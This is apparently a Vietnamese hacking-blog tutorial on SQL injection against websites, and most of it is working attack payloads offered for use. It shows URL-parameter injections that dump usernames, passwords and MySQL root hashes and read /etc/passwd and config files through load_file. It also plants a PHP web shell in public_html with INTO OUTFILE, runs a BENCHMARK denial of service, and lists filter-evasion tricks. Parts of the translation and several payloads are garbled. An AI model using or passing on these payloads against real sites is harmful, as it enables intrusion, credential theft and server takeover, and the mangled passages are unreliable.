Hack shop PHP

.::Tn công lây nhim vào SQL::.
::Lây nhiễm vào SQL là gì?::


- Lây nhiễm SQL được định nghĩa:

:: Thông tin nền::


-Nó được coi là tính dễ bị tổn thương web phổ biến nhất ngày nay
-Nó là một sự bất thường trong ứng dụng mạng --không phải db, hay server
-Có thể bị nhiễm vào trong : Cookies, Forms, và những tham số URL

::Những thực tế bài học::


-Bài học này sử dụng cú pháp MySQL cho tất cả các ví dụ.
-Bài học này không cung cấp những lý do tại sao các site có thể bị tổn thương, đơn giản là làm sao để khai thác chúng
- Bài học chỉ này cung cấp những ví dụ lây nhiễm SQL đối với những tham số url.
-Bài học này đưa ra những ví dụ nhỏ về những kỹ thuật lảng tránh bộ lọc

::Bài học::


- Một số lệnh bạn cần biết:

‘union all select’:
kết hợp hai hoặc các statement được lựa chọn vào trong một câu hỏi và trả lại tất cả các hàng
‘order by’: được sử dụng để phân loại các hàng sau khi một statement lựa chọn được thực hiện
‘load_file()’: load một file cục bộ từ site hay những ví dụ server là .htacces hay /etc/passwd
‘char()’: được sử dụng để thay đổi các ascii thập phân thành chuỗi, có thể được sử dụng để lảng tránh bộ lọc – in lây nhiễm SQL, được sử dụng phổi hợp với load_file
‘concat()’: kết hợp nhiều cột cột thành một cột đơn, cho phép nhiều cột được lựa chọn hơn số cột đag hiện ra trên trag (Bạn sẽ hiểu rõ hơn sau này)
‘--‘: một comment (lời nhận xét)
‘/*’: một loại khác của comment

-Những câu hỏi về lây nhiễm SQL vào tham số URL
Ví dụ bạn tìm thấy một site: 'http://www.site.com/index.php?id=5', và bạn muốn kiểm tra liệu nó có thể tổn thương để tấn công bằng cách lây nhiễm SQL.

1) Hãy bắt đầu bằng cách kiểm tra liệu bạn có thể thực hiện một trong số những câu hỏi riêng của bạn hay kô, vì vậy hãy thử:
Trích:
/index.php?id=5 and 1=0
Nếu sau khi thực hiện statement trên mà không có j` xảy ra và trang vẫn như cũ thì bạn có thể thử:
Trích:
/index.php?id=’
Nếu kô có cái nào làm việc thì vì mục đích của hướng dẫn này hãy chuyển tới site khác.
Nói cách khác, nếu một trang trắng hiện ra thì bạn là người may mắn!

2) Bây jờ chúng ta muốn tìm thấy có bao nhiêu cột và cái nào đag hiện ra khi chúng tra thực hiện statement lựa chọn, vậy chúng ta sử dụng:
Trích:
/index.php?id=5 order by 20
Nếu bạn có một sự giảm bớt lỗi số 20, nếu ở đó không có là lỗi tiếp tục đag tăng cho đến khi bạn có lỗi và rồi số chỉ có số trước khi lỗi của bạn là số lượng cáccột trong bảng bạn đang chọn đến. Ví dụ: (cái này a đọc wa VD nha, khó diễn đạt wa’ http://hcegroup.net/hceteam/images/smilies/yahoo/Big%20Grin.gif)
Trích:
/index.php?id=5 order by 15
<-- trả lại kô có lỗi nào, nhưng
Trích:
/index.php?id=5 order by 16
<-- trả lại một lỗi, thì chúg ta biết rằng có 15 cột trong statement chúng ta lựa chọn.

3) statement tiếp theo sẽ không có giá trị id=5 vì vậy kịch bản chỉ thực hiện các lệnh của chúng ta và không fải riêng nó, và chỉ cho chúng ta biết những cột nào chúng ta có thể extract dữ liệu từ đó:
Trích:
/index.php?id=null union all select
(liện hiệp tất cả các lựa chọn không có giá trị) 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- <-- comment này chỉ ra rằng bất kỳ cái nào kịch bản sẽ bổ sung vào cuổi của statement để chỉ có statement của chúng ta được nhìn thấy.
Vì vậy bây jờ hãy nhìn vào trang và nếu bạn nhìn thấy bất kỳ số nào bạn đánh vào, thì bạn biết những cột đó đag hiện ra, và chúng ta có thể thu thập thông tin từ chúng. Trong ví dụ này giả sử chúng ta có các cột 5,7 và 9 đag hiện ra.

4) Bây jờ chúng ta có thể bắt đầu thu thập thông tin!
Trích:
/index.php?id=null union all select 1,2,3,4,user(),6,database(),8,version(),10,11,12,1 3,14,15--
Như bạn có thể nhìn thấy chúng ta đã lựa chọn nhữg giá trị từ các cột đã hiện ra, sẽ là gì nếu chúng ta muốn clean cái này tới bit, và đặt tất cả những giá trị được lựa chọn đó vào một cột? Đây là nơi mà concat() đi vào:
Trích:
/index.php?id=null union all select 1,2,3,4,concat(user(),char(58),database(),char(58) ,version()),6,7,8,9,10,11,12,13,14,15--
Bây jờ hãy nhìn vào trang của bạn, user(), database(), and version() tất cả đều ở trong 1 nơi, và được phân chia bởi dấu hai chấm “:” điều nầy chỉ ra là sự sử dung concat() char().
user() (người sử dung) sẽ thường đưa một cái j đó như là username@localhost, nhưg bạn có thể có may mắn và có username@ipaddresshere, trong trường hợp này bạn có thể bắt ép thô bạo (brute force: từ này a tra trong Lạc Việt phần từ điển máy tính, nó giải thích rõ hơn cho a ) login FTP. version này sẽ júp bạn kiểm tra những kỳ công cho version database đó trong sử dụng – nhưng chỉ khi bạn là một skiddy!

5) Trước khi chúng ta kiểm tra liệu chúng ta có đổi vị trí (perm) load_file hay khôg thì chúg ta fải có FPD (sự tiết lộ đương dẫn đầy đủ), như vậy chúng ta biết chính xác nơi ở các file mà chúng ta đag cố gắng mở.
Dưới đây là một vài phương pháp để có một FPD:
Trích:
-/index.php?id[]=
-Bạn cũg có thể vào Google để có đườg dẫn site đầy đủ bằng cách thử một thứ j đó như là “/home/sitename” và hj vọng rằng bạn sẽ tìm thấy cái j đó trong Google
-“Session Cookie Trick” <--Nhờ tới haZed ở enigmagroup.org trong url đánh: 'javascript:void(document.cookie="PHPSESSID=");' Điều này sẽ đưa ra một lỗi session_start() và một FPD

Bây jờ chúng ta sẽ cố gắg sử dụng load_file(), ví dụ này sẽ load file .htaccess, hãy chắc chắn rằng bạn biết file này và bạn đag cố gắng load thực sự tồn tại hoặc là bạn có thể bị mất cơ hội để nhận ra điều j bạn có những sự đổi vị trí (perm) tuyệt vời:
Trích:
/index.php?id=null union all select 1,2,3,4,load_file(char(47, 104, 111, 109, 101, 47, 115, 105, 116, 101, 110, 97, 109, 101, 47, 100, 105, 114, 47, 97, 108, 108, 111, 102, 116, 104, 105, 115, 105, 115, 102, 114, 111, 109, 111, 117, 114, 102, 112, 100, 47, 46, 104, 116, 97, 99, 99, 101, 115, 115)),6,7,8,9,10,11,12,13,14,15--
Nếu bạn nhìn thấy file .htaccess, xin chúc mừng ban! Bạn có perm load_file(). Bây jờ hãy cố gắng load gồm các file như là config.inc.php cho cơ sở dữ liêu về usernames và passwords, hy vọng rằng admin thì ngu ngốc sử dụng username and password giống như vậy cho ftp. Ý tưởng khác sẽ tải. htpasswd sau khi tìm thấy nó định vị từ.htaccess và sau đóđăng nhập tới tất cả những khu vực bảo vệ mật khẩu mà bạn muốn tới trên site.

Nếu bạn kô nhìn thấy file .htaccess, thì tôi sẽ bao gồm thêm một cách để extract thông tin bằng cách sử dụg lây nhiễm SQL.

-Khi đag sử dụng các bảng information_schema.:
Như vậy bạn kô có perm load_file fải không? Kô vấn đề j, chúng ta có thể kiểm tra các bảng information_schema.

1) ‘table_name’ là tên của một bảng mà tồn tại trong tất cả các bảg information_schema. trên mỗi site:
Trích:
/index.php?id=null union all select 1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15 from information_schema.tables--
Nếu site đag hiện ra các bảg information_schema.,thì các từ 'CHARACTER_SETS' sẽ xuất hiện trong cột 5. có thể bạn sẽ tự hỏi tôi có thể làm j với 'CHARACTER_SETS'. ^_^ kô có j, tôi sẽ chỉ tiếp cho bạn, ngoài ra bạn có thể tìm thấy những bảg khác tồn tại trên site. Các bảng information_schema chứa một list của mỗi bảg trong cơ sở dữ liệu, vì vậy bạn có thể đẩy bảng username và có thể là password nếu chúg tồn tại.... Sau đó bạn nghĩ các bảng information_schema nắm jữ cái j? Rất đúng, một danh sách tất cả các cột trên site. Vì vậy tổt hơn chỉ sử dụng sự lây nhiễm trên và bạn có thể thử bất kỳ cái nào trong nhứng cái sau:
Trích:
-/index.php?id=null union all select 1,2,3,4,distinct table_name,6,7,8,9,10,11,12,13,14,15 from information_schema.tables--
<-- lựa chọn tất cả các bảng ‘distinct’ có tên từ bảng information_schema. , điều đó có nghĩa là nó sẽ in ra tất cả các bảg vào một thời điểm
Trích:
-/index.php?id=null union all select 1,2,3,4,concat(table_name,char(58),column_name),6, 7,8,9,10,11,12,13,14,15 from information_schema.columns--
<--Lựa chọn tất cả các bảg và cột mà đi với mỗi bảg được phân chia bởi dấu 2 chấm.

2) Nếu kô có câu hỏi nào như trên đưa ra cho bạn ngoại trừ 'CHARACTER_SETS' thì bạn sẽ fải sử dụng sự liệt kê để quyết định các tên của các bảg khác:
Trích:
/index.php?id=null union all select 1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15 từ bảng information_schema nơi ở table_name != "CHARACTER_SETS"--
Sau đó nó sẽ chỉ bảg tiếp theo trong dòng vì vậy bạn sẽ điều chỉnh cái trên để nói: where table_name != "CHARACTER_SETS" and table_name != "nexttableinline"—Mãi tới khi kô có bảg nào hiện ra, thì bạn có thể làm giống cho nhữg cột khác.

3) Bây jờ sau khi bạn đã thực hiện một hoặc tất cả các statement đó, thì hãy nói bạn đã tìm thấy bảng ‘users’ và nó nó các cột 'username', 'password', 'id', and 'email'. Để extract những thông tin từ bảg, hãy sử dung:
Trích:
/index.php?id=null union all select 1,2,3,4,concat(username, char(58), password, char(58), id, char(58), email),6,7,8,9,10,11,12,13,14,15 from users--
Và bạn sẽ nhận đc thông tin bạn yêu cầu, tất nhiên bạn có thể điều chỉnh cái nào mà bạn thích như là:
Trích:
-/index.php?id=null union all select 1,2,3,4,username,6,password,8,9,10,11,12,13,14,15 from users where id=1--
Trích:
-/index.php?id=null union all select 1,2,3,4,concat(password, char(58), id, char(58), email),6,7,8,9,10,11,12,13,14,15 from users where username='Admin'
<--thay thế admin bằng đỉnh tên của user như là admin hay là owner etc...

::Những mẹo nhỏ cuối cùng::

với bất kỳ may mắn nào, một trong những phương pháp này đã làm việc cho bạn và bạn có thể hoàn thành mục tiêu của bạn, bạn biết bảg tồn tại và bạn có thể khởi động để đoán các tên của cột:
Trích:
/index.php?id=null union all select 1,2,3,4,username,6,7,8,9,10,11,12,13,14,15 from users--
<-- Nếu bạn có một username, thì công việc tốt là bạn hãy đoán ra đúng bảng và cột, nói cách khác hãy giứ côg việc đoán.

::Các kỹ thuật lảg tránh bộ lọc::

- Bạn có thể sử dụng những đặc điểm mã hõa URL, hệ 16 mã hóa chúng, hãy sử dụng bấy kỳ cách mã hóa nào mà bạn thích miễn là trình duyệt của bạn có thể phiên dich được nó.
- Tốt hơn là sau đó sử dụng “union all select’ hoặc thử ‘UniON aLL SeLECt’ để xem liệu bộ lọc có kiểm tra trong trường hợp này
- Hãy thử sử dụng thêm dấu cộng để chia các từ ra thành từng phần: ' 'uni'+'on'+' '+'all'+' '+'Se'+'lect'
- Kết hợp các phương pháp đã được đề cập ở trên để sử dụng trong các trường hợp khác, vận hành thêm, và kô chỉ có text mà mã hóa cũg như vậy
- Hãy có tính sáng tạo

Hôm nay t dch ra cho anh em ha,có gì sai sót anh em thông cm:
Lỗi MySQL là một lỗi rất là thông dụng và nguy hiểm.Khác với các lỗi khác MySQL bị lỗi là cho người viết mã gây ra hay bị sai sót
Lỗi MySQL đem lại những lợi ích như thế nào?
Nó cho phép người sử dụng có thể khai thác dễ dàng vào các database.Nói rõ hơn nó cho ta thấy được những thông số có liên quan đến victim chứa lỗi.MySQL Inj có thể phá hủy tập tin hay cho phép các tập tin khác mà attacker chèn vào
Bây giờ chúng ta nhìn vào 1 số ví dụ về code php
<? php
...
$ id = $ _GET [ 'id'];
...
mysql_query ( "UNION SELECT nick FROM users WHERE id =". );..... $ id
?>

Chúng ta cần lưu ý về phương thức lấy đoạn ma GET .Anh em hãy để ý kỹ về đoạn mã php ở trên.Chúng ta có thể thay đổi yêu cầu truy vấn dựa vào GET.Nếu nó không lọc phần [ 'id'] mà chúng ta truy vấn vào dữ liệu của victim thì có nghĩa là nó bị lỗi MySQL.
Làm sao mà biết chính xác là nó bị lỗi.Sau đấy là 1 ví dụ :
Code:
http://www.site.ru/index.php?page=1
Với 1 trang như thế ,để ta biết nó có bị dính lỗi hay ko thi ta cần thêm vào 1 ký tự như dấu '

+
Code:
http://www.site.ru/index.php?page=1
'

Và khi nó bị dính MySQL thì website sẽ gởi lại cho ta biết với 1 thông báo như sau:

+MySQL Error: mysql_query (.......) error expretion syntax ...

Câu nói ở đây có nghĩa là có 1 truy vấn đang bị lỗi về cấu trúc toán học hay thư mục.Và 99% đây là lỗi source.

Ngoài ra ta còn 1 phương các nữa là ta dùng phương thức toán học đơn giản như sau:

+
Code:
http://www.site.ru/index.php?page=2-1
Và nó trở về 1 thì 99% nó bị dính mysql.
Khi ta biết chính xác nó bị lỗi thì ta sẽ khai thác như sau.Chúng ta cần gởi 1 truy vấn sql đến victim nhưng chúng ta cần truy vấn với giá trĩ là null.Null ở đây là rỗng không có 1 giá trị xác thực.
Đây là
+
Code:
http://www.site.ru/index.php?page=-1 union + + + select null, null / *
or
Code:
http://www.site.ru/index.php?page=99999 union + + + select null, null / *
Chúng ta sẽ sử dụng lần lượt các câu truy vấn thông dụng như:
+union select null, null
union select null, null, null
union select null, null, null, null

Lệnh union ở đây chính là lênh kết nối các bảng lại với nhau.Chúng ta cứ sử dụng cho đến khi biết 9 xác có bao nhiêu bảng dữ liệu nằm trong database

+
Code:
http://www.site.ru/index.php?page=-1 union + + + select null, null, null, null, null, null / *
Sau khi đã xác định được bảng ta xét đến nó có bao nhiệu cột nằm trong bảng.Với câu lệnh sau sẽ giúp ta xác định:

+? id =- 1 + + by order +100 / *

Dĩ nhiên các cột không thể nào quá 100 cột được.Với cách thức này ta có thể nhanh chóng biết được bao nhiêu cột.Và có sai thì nó sẽ báo lổi.

Sau khi đã biết chính xác được có bao nhiêu cột thì ta sẽ thay thế các giá trị null mà hồi nãy ta truy vấn bằng các con số 9 xác như 1,2,3,..

+
Code:
http://www.site.ru/index.php?page=-1 + union + select +1,2,3,4,5,6 / *
Sau đó ta sẽ lấy 1 số thông tin như user database...Và ta cần biết 9 xác nó nằm ở cột nào mới truy vấn và tìm

+
Code:
http://www.site.ru/index.php?page=-1 + union + +1.2 select, USER (), 4,5,6 / *
Code:
http://www.site.ru/index.php?page=-1 + union + +1.2 select, VERSION (), 4,5,6 / *
Code:
http://www.site.ru/index.php?page=-1 + union + +1.2 select, DATABASE (), 4,5,6 / *
*Sau khi có được các thông tin thì ta cần làm những bước sau tùy vào ý thích của mỗi người

1-Lấy pass của thằng root(Nó là quan trọng 1 mà)
+
Code:
http://www.site.ru/index.php?page=-1 + union + +1.2 select, user, password, 5,6 mysql.user + from + / *
Và nó sẽ cho ra pass là pass hash và chúng ta dùng các chương trình crack pass để lấy mã.Ví dụ như chương trình password pro.Lưu ý phương thức lấy pass bằng câu lệnh trên ko có nghĩa lúc nào cũng cho ra pass mà còn phụ thuộc vào thằng mysql.user có chấp nhận yêu cầu của ta hay ko.

2-Đọc các bảng khác có liên quan đến thằng root:
Chúng ta có thể đọc các bảng có liên quan như:spreadsheet-type users, reg_users, admins, accounts ...


+
Code:
http://www.site.ru/index.php?page=-1 + union + +1.2 select, name, passwd, 4,5,6 + + from users / *
3-Đọc tập tin chứ trên server:
+
Code:
http://www.site.ru/index.php?page=-1 + union + +1.2 select, LOAD_FILE ( '/ etc / passwd'), 4,5,6 / *
Nếu chúng ta xác định 9 xác tập tin ta cần đọc thì phần LOAD_FILE sẽ giúp ích cho ta rất nhiều.

4-Up shell và ddos:
Chúng ta cần nhận thấy là chúng ta cần nên đưa con shell ở bên ngoài vào sao cho phù hợp 1.Và thư mục mà ta cần quan tâm và phù hợp 1 chính là "/ home / site / public_html /"

Code up shell:

+
http://www.site.ru/index.php?page=-1 + union + select +1,2,3,4,5, '<? php system ($ _GET [cmd]);>' + + + from mysql.user into outfile + + '/ home / site / public_html / shell.php' / *

Việc up shell là phần quan trọng 1 đối với lỗi MYSQL.Và 1 điều quan trọng ko kém là chúng ta cần đưa thêm biến hay tham số ,cụ thể là số.Nó sẽ giúp ta thực hiện được 1 số lệnh bị giới hạn trong mysql.
Ví dụ:union select 1.2, user, pass, from 5,6 + + + users limit +5.3 / * [/ i]
Chúng sẽ thử lại 3 lần với cột số 5

Đôi khi chúng ta gặp phải 1 số cơ chế lọc hay mã hóa trong mysql.Chính vì vậy để giải quyết vấn đề loại bỏ cơ chế trên ta cần 1 câu lệnh ko kém phần quan trọng


+
Code:
http://www.site.ru/index.php?page=-1 + union + +1.2 select, AES_DECRYPT (AES_ENCRYPT (USER (), 0x71), 0x71), 4,5,6 / *
1 điều cần lưu ý là khi bộ lọc kovychku của sql được bật thì chúng ta có thể dùng đến phần LOAD_FILE
Ví dụ ta đưa vào LOAD_FILE phần đọc thư mục / etc / passwd thì chúng ta dùng đoạn code sau:

+
Code:
http://www.site.ru/index.php?page=-1 + union + +1.2 select, LOAD_FILE (char (47101116,99,47112,97115115119100)), 4,5,6 / *
Đôi khi ta bị thằng inektsiya giới hạn việc sử dụng các khoản không gian sử dụng.Để xác lập lại ta dùng các lệnh sau:
+
Code:
http://www.site.ru/index.php?page=-1 + union + +1.2 select, user, password, 5,6 mysql.user + from + / *
same
Code:
http://www.site.ru/index.php?page=-1/ ** / union / ** / select / ** / 1.2, user,
Phần cuối là dos:Chắc câu lệnh này mọi người ai cũng hiểu ha:
+
Code:
http://www.site.ru/index.php?page=-1 + BENCHMARK (10000000, BENCHMARK (10000000 md5 (current_date)))

Chú Ý:

Coppy phải ghi rõ nguồn Blog - Hacking
 

Copyright © 123 H4ck' Blog. Cung cấp bởi Blogger